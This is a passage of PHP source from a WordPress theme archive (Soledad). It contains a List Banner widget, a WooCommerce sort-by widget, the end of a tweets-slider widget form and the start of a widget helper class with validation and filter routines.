                    <option value='pc_alignleft' <?php selected( $instance['align'], 'pc_alignleft' ); ?>>Align Left
                    </option>
                    <option value='pc_alignright' <?php selected( $instance['align'], 'pc_alignright' ); ?>>Align Right
                    </option>
                </select>
            </p>

            <!-- Display tweets numner -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of Tweet to Display:', 'soledad' ); ?></label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo $instance['number']; ?>">
            </p>

            <!-- Display tweets date -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'date' ) ); ?>"><?php esc_html_e( 'Hide tweets date?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'date' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'date' ) ); ?>" <?php checked( (bool) $instance['date'], true ); ?> />
            </p>

            <!-- Disable auto play -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'auto' ) ); ?>"><?php esc_html_e( 'Disable Auto Play Tweets Slider?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'auto' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'auto' ) ); ?>" <?php checked( (bool) $instance['auto'], true ); ?> />
            </p>

            <!-- Custom reply text -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'reply' ) ); ?>"><?php esc_html_e( 'Custom Reply text:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'reply' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'reply' ) ); ?>"
                       value="<?php echo esc_attr( $instance['reply'] ); ?>"/>
            </p>

            <!-- Custom retweet text -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'retweet' ) ); ?>"><?php esc_html_e( 'Custom Retweet text:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'retweet' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'retweet' ) ); ?>"
                       value="<?php echo esc_attr( $instance['retweet'] ); ?>"/>
            </p>

            <!-- Custom favorite text -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'favorite' ) ); ?>"><?php esc_html_e( 'Custom Favorite text:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'favorite' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'favorite' ) ); ?>"
                       value="<?php echo esc_attr( $instance['favorite'] ); ?>"/>
            </p>

			<?php
		}
	}
}
?>
PK     N\}6XL  XL    inc/widgets/list_banner.phpnu [        <?php
/**
 * List Banner Widget
 * Display your banners or featured categories/posts/pages on the widget.
 *
 * @package Wordpress
 * @since   1.0
 */

add_action( 'widgets_init', 'penci_list_banner_load_widget' );

function penci_list_banner_load_widget() {
	register_widget( 'penci_list_bannner_widget' );
}

if ( ! class_exists( 'penci_list_bannner_widget' ) ) {
class penci_list_bannner_widget extends WP_Widget {

/**
 * Widget setup.
 */
function __construct() {
	/* Widget settings. */
	$widget_ops = array(
		'classname'   => 'penci_list_imgs_widget',
		'description' => esc_html__( 'A widget helps you display a banner or multi-banners on your sidebar. You also can use this widget to display your featured categories/posts/pages.. Everything is custom', 'soledad' )
	);

	/* Widget control settings. */
	$control_ops = array( 'id_base' => 'penci_list_bannner_widget' );

	/* Create the widget. */
	global $wp_version;
	if ( 4.3 > $wp_version ) {
		$this->WP_Widget( 'penci_list_bannner_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'List Banners', 'soledad' ), $widget_ops, $control_ops );
	} else {
		parent::__construct( 'penci_list_bannner_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'List Banners', 'soledad' ), $widget_ops, $control_ops );
	}
}

/**
 * How to display the widget on the screen.
 */
function widget( $args, $instance ) {
extract( $args );

/* Our variables from the widget settings. */
$title  = isset( $instance['title'] ) ? $instance['title'] : '';
$title  = apply_filters( 'widget_title', $title );
$img1   = isset( $instance['img1'] ) ? $instance['img1'] : '';
$url1   = isset( $instance['url1'] ) ? $instance['url1'] : '';
$text1  = isset( $instance['text1'] ) ? $instance['text1'] : '';
$img2   = isset( $instance['img2'] ) ? $instance['img2'] : '';
$url2   = isset( $instance['url2'] ) ? $instance['url2'] : '';
$text2  = isset( $instance['text2'] ) ? $instance['text2'] : '';
$img3   = isset( $instance['img3'] ) ? $instance['img3'] : '';
$url3   = isset( $instance['url3'] ) ? $instance['url3'] : '';
$text3  = isset( $instance['text3'] ) ? $instance['text3'] : '';
$tab    = isset( $instance['tab'] ) ? $instance['tab'] : '';
$crop   = isset( $instance['crop'] ) ? $instance['crop'] : '';
$height = isset( $instance['height'] ) ? $instance['height'] : '';

/* Before widget (defined by themes). */
echo ent2ncr( $before_widget );

/* Display the widget title if one was input (before and after defined by themes). */
if ( $title ) {
	echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
}

?>
<?php if ( $img1 || $img2 || $img3 ): ?>
<?php
/* Check open a new tab is checked or not */
$target = '';
if ( $tab ): $target = ' target="_blank"'; endif;
?>
<div class="penci-list-banner">
	<?php if ( $img1 ) : /* Banner 1 */ 
	$img1_width = penci_get_image_data_basedurl( $img1, 'w' );
	$img1_height = penci_get_image_data_basedurl( $img1, 'h' );
	?>
	<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
    <div class="penci-promo-item penci-lazy<?php if ( $text1 ): echo ' penci-banner-has-text'; endif; /* Crop */
	if ( $crop && ! $height ): echo ' penci-banner-crop'; endif; ?>"<?php if ( $crop && ! $height ) {
		echo ' data-bgset="' . do_shortcode( $img1 ) . '"';
	} elseif ( $crop && $height ) {
		echo ' data-bgset="' . do_shortcode( $img1 ) . '" style="height:' . $height . 'px;"';
	} ?>>
		<?php } else { ?>
        <div class="penci-promo-item<?php if ( $text1 ): echo ' penci-banner-has-text'; endif; /* Crop */
		if ( $crop && ! $height ): echo ' penci-banner-crop'; endif; ?>"<?php if ( $crop && ! $height ) {
			echo ' style="background-image: url(' . do_shortcode( $img1 ) . ')"';
		} elseif ( $crop && $height ) {
			echo ' style="background-image: url(' . do_shortcode( $img1 ) . '); height:' . $height . 'px;"';
		} ?>>
			<?php } ?>
			<?php if ( $url1 ): ?>
                <a class="penci-promo-url" aria-label="<?php if ( $text1 ) {
					echo $text1;
				} else {
					echo 'Banner1';
				} ?>" href="<?php echo do_shortcode( $url1 ); ?>"<?php echo sanitize_text_field( $target ); ?>></a>
			<?php endif; ?>
			<?php if ( ! $crop ): ?>
				<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                    <img class="penci-lazy" src="<?php echo penci_holder_image_base( $img1_width, $img1_height ); ?>"
                         data-src="<?php echo do_shortcode( $img1 ); ?>" alt="Promotion Image" width="<?php echo $img1_width; ?>" height="<?php echo $img1_height; ?>">
				<?php } else { ?>
                    <img src="<?php echo do_shortcode( $img1 ); ?>" alt="Promotion Image" width="<?php echo $img1_width; ?>" height="<?php echo $img1_height; ?>">
				<?php } ?>
			<?php endif; ?>
			<?php if ( $text1 ): ?>
                <div class="penci-promo-text">
                    <h4><?php echo do_shortcode( $text1 ); ?></h4>
                </div>
			<?php endif; ?>
        </div>
		<?php endif; ?>

		<?php if ( $img2 ) : /* Banner 2 */ 
		$img2_width = penci_get_image_data_basedurl( $img2, 'w' );
		$img2_height = penci_get_image_data_basedurl( $img2, 'h' );
		?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
        <div class="penci-promo-item penci-lazy<?php if ( $text2 ): echo ' penci-banner-has-text'; endif; /* Crop */
		if ( $crop && ! $height ): echo ' penci-banner-crop'; endif; ?>"<?php if ( $crop && ! $height ) {
			echo ' data-bgset="' . do_shortcode( $img2 ) . '"';
		} elseif ( $crop && $height ) {
			echo ' data-bgset="' . do_shortcode( $img2 ) . '" style="height:' . $height . 'px;"';
		} ?>>
			<?php } else { ?>
            <div class="penci-promo-item<?php if ( $text2 ): echo ' penci-banner-has-text'; endif; /* Crop */
			if ( $crop && ! $height ): echo ' penci-banner-crop'; endif; ?>"<?php if ( $crop && ! $height ) {
				echo ' style="background-image: url(' . do_shortcode( $img2 ) . ')"';
			} elseif ( $crop && $height ) {
				echo ' style="background-image: url(' . do_shortcode( $img2 ) . '); height:' . $height . 'px;"';
			} ?>>
				<?php } ?>
				<?php if ( $url2 ): ?>
                    <a class="penci-promo-url" aria-label="<?php if ( $text2 ) {
						echo $text2;
					} else {
						echo 'Banner2';
					} ?>" href="<?php echo do_shortcode( $url2 ); ?>"<?php echo sanitize_text_field( $target ); ?>></a>
				<?php endif; ?>
				<?php if ( ! $crop ): ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                        <img class="penci-lazy" src="<?php echo penci_holder_image_base( $img2_width, $img2_height ); ?>"
                             data-src="<?php echo do_shortcode( $img2 ); ?>" alt="Promotion Image" width="<?php echo $img2_width; ?>" height="<?php echo $img2_height; ?>">
					<?php } else { ?>
                        <img src="<?php echo do_shortcode( $img2 ); ?>" alt="Promotion Image" width="<?php echo $img2_width; ?>" height="<?php echo $img2_height; ?>">
					<?php } ?>
				<?php endif; ?>

				<?php if ( $text2 ): ?>
                    <div class="penci-promo-text">
                        <h4><?php echo do_shortcode( $text2 ); ?></h4>
                    </div>
				<?php endif; ?>
            </div>
			<?php endif; ?>

			<?php if ( $img3 ) : /* Banner 3 */ 
			$img3_width = penci_get_image_data_basedurl( $img3, 'w' );
			$img3_height = penci_get_image_data_basedurl( $img3, 'h' );
			?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
            <div class="penci-promo-item penci-lazy<?php if ( $text3 ): echo ' penci-banner-has-text'; endif; /* Crop */
			if ( $crop && ! $height ): echo ' penci-banner-crop'; endif; ?>"<?php if ( $crop && ! $height ) {
				echo ' data-bgset="' . do_shortcode( $img3 ) . '"';
			} elseif ( $crop && $height ) {
				echo ' data-bgset="' . do_shortcode( $img3 ) . '" style="height:' . $height . 'px;"';
			} ?>>
				<?php } else { ?>
                <div class="penci-promo-item<?php if ( $text3 ): echo ' penci-banner-has-text'; endif; /* Crop */
				if ( $crop && ! $height ): echo ' penci-banner-crop'; endif; ?>"<?php if ( $crop && ! $height ) {
					echo ' style="background-image: url(' . do_shortcode( $img3 ) . ')"';
				} elseif ( $crop && $height ) {
					echo ' style="background-image: url(' . do_shortcode( $img3 ) . '); height:' . $height . 'px;"';
				} ?>>
					<?php } ?>
					<?php if ( $url3 ): ?>
                        <a class="penci-promo-url" aria-label="<?php if ( $text3 ) {
							echo $text3;
						} else {
							echo 'Banner';
						} ?>"
                           href="<?php echo do_shortcode( $url3 ); ?>"<?php echo sanitize_text_field( $target ); ?>></a>
					<?php endif; ?>
					<?php if ( ! $crop ): ?>
						<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                            <img class="penci-lazy" src="<?php echo penci_holder_image_base( $img3_width, $img3_height ); ?>"
                                 data-src="<?php echo do_shortcode( $img3 ); ?>" alt="Promotion Image" width="<?php echo $img3_width; ?>" height="<?php echo $img3_height; ?>">
						<?php } else { ?>
                            <img src="<?php echo do_shortcode( $img3 ); ?>" alt="Promotion Image" width="<?php echo $img3_width; ?>" height="<?php echo $img3_height; ?>">
						<?php } ?>
					<?php endif; ?>
					<?php if ( $text3 ): ?>
                        <div class="penci-promo-text">
                            <h4><?php echo do_shortcode( $text3 ); ?></h4>
                        </div>
					<?php endif; ?>
                </div>
				<?php endif; ?>
            </div>
			<?php endif; /* End check if doesn't exists any image for this widget */ ?>

			<?php

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
			}

			/**
			 * Update the widget settings.
			 */
			function update( $new_instance, $old_instance ) {
				$instance = $old_instance;

				$data_instance = $this->soledad_widget_defaults();

				foreach ( $data_instance as $data => $value ) {
					$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
				}

				return $instance;
			}

			public function soledad_widget_defaults() {
				$defaults = array( 'title'  => '',
				                   'img1'   => '',
				                   'url1'   => '',
				                   'text1'  => '',
				                   'img2'   => '',
				                   'url2'   => '',
				                   'text2'  => '',
				                   'img3'   => '',
				                   'url3'   => '',
				                   'text3'  => '',
				                   'height' => '',
				                   'tab'    => false,
				                   'crop'   => false
				);

				return $defaults;
			}


			function form( $instance ) {

				/* Set up some default widget settings. */
				$defaults = $this->soledad_widget_defaults();
				$instance = wp_parse_args( (array) $instance, $defaults );

				$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
				?>

                <p>This widget helps you display a banner or multi-banners on your sidebar. You also can use this widget
                    to display your featured categories/posts/pages.. Everything is custom!</p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                           value="<?php echo $instance_title; ?>"/>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'img1' ) ); ?>"><?php esc_html_e( '1st Banner URL:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'img1' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'img1' ) ); ?>"
                           value="<?php echo esc_url( $instance['img1'] ); ?>"/>
                    <span class="description" style="padding: 0 0 10px 0; font-size: 12px;">You should use image with the width about 400 - 500px.<br>You can check <a
                                href="https://www.wpbeginner.com/beginners-guide/how-to-get-the-url-of-images-you-upload-in-wordpress/"
                                target="_blank" rel="noreferrer noopener">this guide</a> to know how to get URL of an image you upload.</span>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'url1' ) ); ?>"><?php esc_html_e( 'Banner Link for 1st Banner:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'url1' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'url1' ) ); ?>"
                           value="<?php echo esc_url( $instance['url1'] ); ?>"/><br>
                    <span class="description" style="padding: 0 0 10px 0; font-size: 12px;">It's the link you want to redirect when the readers click to 1st banner</span>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'text1' ) ); ?>"><?php esc_html_e( 'Banner Text for 1st Banner:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'text1' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'text1' ) ); ?>"
                           value="<?php echo sanitize_text_field( $instance['text1'] ); ?>"/>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'img2' ) ); ?>"><?php esc_html_e( 'Banner 2nd URL:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'img2' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'img2' ) ); ?>"
                           value="<?php echo esc_url( $instance['img2'] ); ?>"/>
                    <span class="description" style="padding: 0 0 10px 0; font-size: 12px;">You should use image with the width about 400 - 500px.<br>You can check <a
                                href="https://www.wpbeginner.com/beginners-guide/how-to-get-the-url-of-images-you-upload-in-wordpress/"
                                target="_blank" rel="noreferrer noopener">this guide</a> to know how to get URL of an image you upload.</span>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'url2' ) ); ?>"><?php esc_html_e( 'Banner Link for 2nd Banner:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'url2' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'url2' ) ); ?>"
                           value="<?php echo esc_url( $instance['url2'] ); ?>"/><br>
                    <span class="description" style="padding: 0 0 10px 0; font-size: 12px;">It's the link you want to redirect when the readers click to 2nd banner</span>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'text2' ) ); ?>"><?php esc_html_e( 'Banner Text for 2nd Banner:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'text2' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'text2' ) ); ?>"
                           value="<?php echo sanitize_text_field( $instance['text2'] ); ?>"/>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'img3' ) ); ?>"><?php esc_html_e( 'Banner 3rd URL:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'img3' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'img3' ) ); ?>"
                           value="<?php echo esc_url( $instance['img3'] ); ?>"/>
                    <span class="description" style="padding: 0 0 10px 0; font-size: 12px;">You should use image with the width about 400 - 500px.<br>You can check <a
                                href="https://www.wpbeginner.com/beginners-guide/how-to-get-the-url-of-images-you-upload-in-wordpress/"
                                target="_blank" rel="noreferrer noopener">this guide</a> to know how to get URL of an image you upload.</span>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'url3' ) ); ?>"><?php esc_html_e( 'Banner Link for 3rd Banner:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'url3' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'url3' ) ); ?>"
                           value="<?php echo esc_url( $instance['url3'] ); ?>"/><br>
                    <span class="description" style="padding: 0 0 10px 0; font-size: 12px;">It's the link you want to redirect when the readers click to 3rd banner</span>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'text3' ) ); ?>"><?php esc_html_e( 'Banner Text for 3rd Banner:', 'soledad' ); ?></label>
                    <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'text3' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'text3' ) ); ?>"
                           value="<?php echo sanitize_text_field( $instance['text3'] ); ?>"/>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'crop' ) ); ?>"><?php esc_html_e( 'Auto Crop Banner Images?:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'crop' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'crop' ) ); ?>" <?php checked( (bool) $instance['crop'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'height' ) ); ?>"><?php esc_html_e( 'Set Height for Crop Banner Images:', 'soledad' ); ?></label>
                    <input class="widefat" type="number" id="<?php echo esc_attr( $this->get_field_id( 'height' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'height' ) ); ?>"
                           value="<?php echo absint( $instance['height'] ); ?>"/>
                    <span class="description" style="padding: 0 0 10px 0; font-size: 12px;">When you check to crop banner images, you can set height here for crop banner image</span>
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'tab' ) ); ?>"><?php esc_html_e( 'Open Banners in New Tab?:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'tab' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'tab' ) ); ?>" <?php checked( (bool) $instance['tab'], true ); ?> />
                </p>


				<?php
			}
			}
			}

			?>
PK     N\\S  S    inc/widgets/product_sorting.phpnu [        <?php
/**
 * Widget sort by
 *
 */

if ( ! class_exists( 'Penci_Widget_Sorting' ) ) {
	class Penci_Widget_Sorting extends WPH_Widget {

		function __construct() {
			if ( ! function_exists( 'wc_get_attribute_taxonomies' ) ) {
				return;
			}

			// Configure widget array
			$args = array(
				// Widget Backend label
				'label'       => penci_get_theme_name('.Soledad',true).esc_html__( 'WooCommerce Sort by', 'soledad' ),
				// Widget Backend Description
				'description' => esc_html__( 'Sort products by name, price, popularity etc.', 'soledad' ),
				'slug'        => 'soledad-woocommerce-sort-by',
			);

			// Configure the widget fields

			// fields array
			$args['fields'] = array(
				array(
					'id'   => 'title',
					'type' => 'text',
					'std'  => esc_html__( 'Sort by', 'soledad' ),
					'name' => esc_html__( 'Title', 'soledad' )
				),
			);

			// create widget
			$this->create_widget( $args );
		}

		// Output function
		// Based on woo widget @version  2.3.0
		function widget( $args, $instance ) {
			global $wp_query;

			if ( ! woocommerce_products_will_display() ) {
				return;
			}

			$orderby                 = isset( $_GET['orderby'] ) ? wc_clean( $_GET['orderby'] ) : apply_filters( 'woocommerce_default_catalog_orderby', get_option( 'woocommerce_default_catalog_orderby' ) );
			$show_default_orderby    = 'menu_order' === apply_filters( 'woocommerce_default_catalog_orderby', get_option( 'woocommerce_default_catalog_orderby' ) );
			$catalog_orderby_options = apply_filters( 'woocommerce_catalog_orderby', array(
				'menu_order' => esc_html__( 'Default', 'soledad' ),
				'popularity' => esc_html__( 'Popularity', 'soledad' ),
				'rating'     => esc_html__( 'Average rating', 'soledad' ),
				'date'       => esc_html__( 'Newness', 'soledad' ),
				'price'      => esc_html__( 'Price: low to high', 'soledad' ),
				'price-desc' => esc_html__( 'Price: high to low', 'soledad' )
			) );

			if ( ! $show_default_orderby ) {
				unset( $catalog_orderby_options['menu_order'] );
			}

			if ( get_option( 'woocommerce_enable_review_rating' ) === 'no' ) {
				unset( $catalog_orderby_options['rating'] );
			}

			echo wp_kses_post( $args['before_widget'] );

			if ( $title = apply_filters( 'widget_title', empty( $instance['title'] ) ? '' : $instance['title'], $instance ) ) {
				echo wp_kses_post( $args['before_title'] ) . $title . wp_kses_post( $args['after_title'] );
			}

			wc_get_template( 'loop/orderby.php', array(
				'catalog_orderby_options' => $catalog_orderby_options,
				'orderby'                 => $orderby,
				'show_default_orderby'    => $show_default_orderby,
				'list'                    => true
			) );

			echo wp_kses_post( $args['after_widget'] );
		}

		function form( $instance ) {
			parent::form( $instance );
		}

	} // class
	add_action( 'widgets_init', function () {
		register_widget( 'Penci_Widget_Sorting' );
	} );
}
PK     N\uQ  Q     inc/widgets/wph-widget-class.phpnu [        <?php
/**
 * WordPress Widgets Helper Class
 *
 * https://github.com/sksmatt/WordPress-Widgets-Helper-Class
 *
 * By @sksmatt | www.mattvarone.com
 *
 * @package      WordPress
 * @subpackage   WPH Widget Class
 * @author       Matt Varone
 * @license      GPLv2
 * @version      1.6
 */

if ( ! class_exists( 'WPH_Widget' ) ) {

	class WPH_Widget extends WP_Widget {

		/**
		 * Create Widget
		 *
		 * Creates a new widget and sets it's labels, description, fields and options
		 *
		 * @access   public
		 *
		 * @param array
		 *
		 * @return   void
		 * @since    1.0
		 */

		function create_widget( $args ) {
			// settings some defaults
			$defaults = array(
				'label'       => '',
				'description' => '',
				'fields'      => array(),
				'options'     => array(),
				'slug'        => '',
			);

			// parse and merge args with defaults
			$args = wp_parse_args( $args, $defaults );

			// extract each arg to its own variable
			extract( $args, EXTR_SKIP );

			// set the widget vars
			$this->slug   = ( $slug ) ? $slug : sanitize_title( $label );
			$this->fields = $fields;

			// check options
			$this->options = array( 'classname' => $this->slug, 'description' => $description );
			if ( ! empty( $options ) ) {
				$this->options = array_merge( $this->options, $options );
			}

			// call WP_Widget to create the widget
			parent::__construct( $this->slug, $label, $this->options );

		}


		/**
		 * Form
		 *
		 * Creates the settings form.
		 *
		 * @access   private
		 *
		 * @param array
		 *
		 * @return   void
		 * @since    1.0
		 */

		function form( $instance ) {
			$this->instance = $instance;
			echo $this->create_fields(); //Dynamic data escaped while generating the variable.
		}


		/**
		 * Update Fields
		 *
		 * @access   private
		 *
		 * @param array
		 * @param array
		 *
		 * @return   array
		 * @since    1.0
		 */

		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$this->before_update_fields();

			foreach ( $this->fields as $key ) {
				$slug = ( isset( $key['id'] ) ) ? $key['id'] : $key['param_name'];

				if ( isset( $key['validate'] ) ) {
					if ( false === $this->validate( $key['validate'], $new_instance[ $slug ] ) ) {
						return $instance;
					}
				}

				if ( isset( $key['filter'] ) ) {
					$instance[ $slug ] = $this->filter( $key['filter'], $new_instance[ $slug ] );
				} else {
					if ( is_array( $new_instance[ $slug ] ) ) {
						$instance[ $slug ] = $new_instance[ $slug ];
					} else {
						$instance[ $slug ] = strip_tags( $new_instance[ $slug ] );
					}
				}
			}

			return $this->after_validate_fields( $instance );
		}


		/**
		 * Before Validate Fields
		 *
		 * Allows to hook code on the update.
		 *
		 * @access   public
		 *
		 * @param string
		 *
		 * @return   string
		 * @since    1.6
		 */

		function before_update_fields() {
			return;
		}


		/**
		 * After Validate Fields
		 *
		 * Allows to modify the output after validating the fields.
		 *
		 * @access   public
		 *
		 * @param string
		 *
		 * @return   string
		 * @since    1.6
		 */

		function after_validate_fields( $instance = "" ) {
			return $instance;
		}


		/**
		 * Validate
		 *
		 * @access   private
		 *
		 * @param string
		 * @param string
		 *
		 * @return   boolean
		 * @since    1.0
		 */

		function validate( $rules, $value ) {
			$rules = explode( '|', $rules );

			if ( empty( $rules ) || count( $rules ) < 1 ) {
				return true;
			}

			foreach ( $rules as $rule ) {
				if ( false === $this->do_validation( $rule, $value ) ) {
					return false;
				}
			}

			return true;
		}


		/**
		 * Filter
		 *
		 * @access   private
		 *
		 * @param string
		 * @param string
		 *
		 * @return   void
		 * @since    1.0
		 */

		function filter( $filters, $value ) {
			$filters = explode( '|', $filters );

			if ( empty( $filters ) || count( $filters ) < 1 ) {
				return $value;
			}

			foreach ( $filters as $filter ) {
				$value = $this->do_filter( $filter, $value );
			}

			return $value;
		}


		/**
		 * Do Validation Rule
		 *
		 * @access   private
		 *
		 * @param string
		 * @param string
		 *
		 * @return   boolean
		 * @since    1.0
		 */

		function do_validation( $rule, $value = "" ) {
			switch ( $rule ) {

				case 'alpha':
					return ctype_alpha( $value );
					break;

				case 'alpha_numeric':
					return ctype_alnum( $value );
					break;

				case 'alpha_dash':
					return preg_match( '/^[a-z0-9-_]+$/', $value );
					break;

				case 'numeric':
					return ctype_digit( $value );
					break;

				case 'integer':
					return ( bool ) preg_match( '/^[\-+]?[0-9]+$/', $value );
					break;

				case 'boolean':
					return is_bool( $value );
					break;

				case 'email':
					return is_email( $value );
					break;

				case 'decimal':
					return ( bool ) preg_match( '/^[\-+]?[0-9]+\.[0-9]+$/', $value );
					break;

				case 'natural':
					return ( bool ) preg_match( '/^[0-9]+$/', $value );

					return;

				case 'natural_not_zero':
					if ( ! preg_match( '/^[0-9]+$/', $value ) ) {
						return false;
					}
					if ( $value == 0 ) {
						return false;
					}

					return true;

					return;

				default:
					if ( method_exists( $this, $rule ) ) {
						return $this->$rule( $value );
					} else {
						return false;
					}
					break;

			}
		}


		/**
		 * Do Filter
		 *
		 * @access   private
		 *
		 * @param string
		 * @param string
		 *
		 * @return   boolean
		 * @since    1.0
		 */

		function do_filter( $filter, $value = "" ) {
			switch ( $filter ) {
				case 'strip_tags':
					return $value;
					break;

				case 'wp_strip_all_tags':
					return wp_strip_all_tags( $value );
					break;

				case 'esc_attr':
					return esc_attr( $value );
					break;

				case 'esc_url':
					return esc_url( $value );
					break;

				case 'esc_textarea':
					return esc_textarea( $value );
					break;

				default:
					if ( method_exists( $this, $filter ) ) {
						return $this->$filter( $value );
					} else {
						return $value;
					}
					break;
			}
		}


		/**
		 * Create Fields
		 *
		 * Creates each field defined.
		 *
		 * @access   private
		 *
		 * @param string
		 *
		 * @return   string
		 * @since    1.0
		 */

		function create_fields( $out = "" ) {

			$out = $this->before_create_fields( $out );

			if ( ! empty( $this->fields ) ) {
				foreach ( $this->fields as $key ) {
					if ( empty( $key ) ) {
						continue;
					}
					$out .= $this->create_field( $key );
				}
			}

			$out = $this->after_create_fields( $out );

			return $out;
		}


		/**
		 * Before Create Fields
		 *
		 * Allows to modify code before creating the fields.
		 *
		 * @access   public
		 *
		 * @param string
		 *
		 * @return   string
		 * @since    1.0
		 */

		function before_create_fields( $out = "" ) {
			return $out;
		}


		/**
		 * After Create Fields
		 *
		 * Allows to modify code after creating the fields.
		 *
		 * @access   public
		 *
		 * @param string
		 *
		 * @return   string
		 * @since    1.0
		 */

		function after_create_fields( $out = "" ) {
			return $out;
		}


		/**
		 * Create Fields
		 *
		 * @access   private
		 *
		 * @param string
		 * @param string
		 *
		 * @return   string
		 * @since    1.0
		 */

		function create_field( $key, $out = "" ) {

			/* Set Defaults */
			$key['std'] = isset( $key['std'] ) ? $key['std'] : "";
			$key['std'] = isset( $key['default'] ) ? $key['default'] : "";

			$slug        = ( isset( $key['id'] ) ) ? $key['id'] : $key['param_name'];
			$heading     = isset( $key['heading'] ) ? $key['heading'] : '';
			$key['name'] = ( isset( $key['name'] ) ) ? $key['name'] : $heading;

			if ( isset( $key['skip_in'] ) && $key['skip_in'] == 'widget' ) {
				return;
			}
			if ( isset( $key['value'] ) ) {
				$key['fields'] = $key['value'];
			}

			if ( isset( $key['true_state'] ) && isset( $key['false_state'] ) ) {
				$key['fields'] = array(
					$key['true_state']  => $key['true_state'],
					$key['false_state'] => $key['false_state'],
				);
			}

			if ( ! isset( $key['class'] ) ) {
				$key['class'] = 'widefat';
			}

			if ( isset( $key['description'] ) ) {
				$key['desc'] = $key['description'];
			}

			if ( isset( $this->instance[ $slug ] ) ) {
				$key['value'] = empty( $this->instance[ $slug ] ) ? '' : $this->instance[ $slug ];
			} else {
				unset( $key['value'] );
			}

			/* Set field id and name  */
			$key['_id']   = $this->get_field_id( $slug );
			$key['_name'] = $this->get_field_name( $slug );

			/* Set field type */
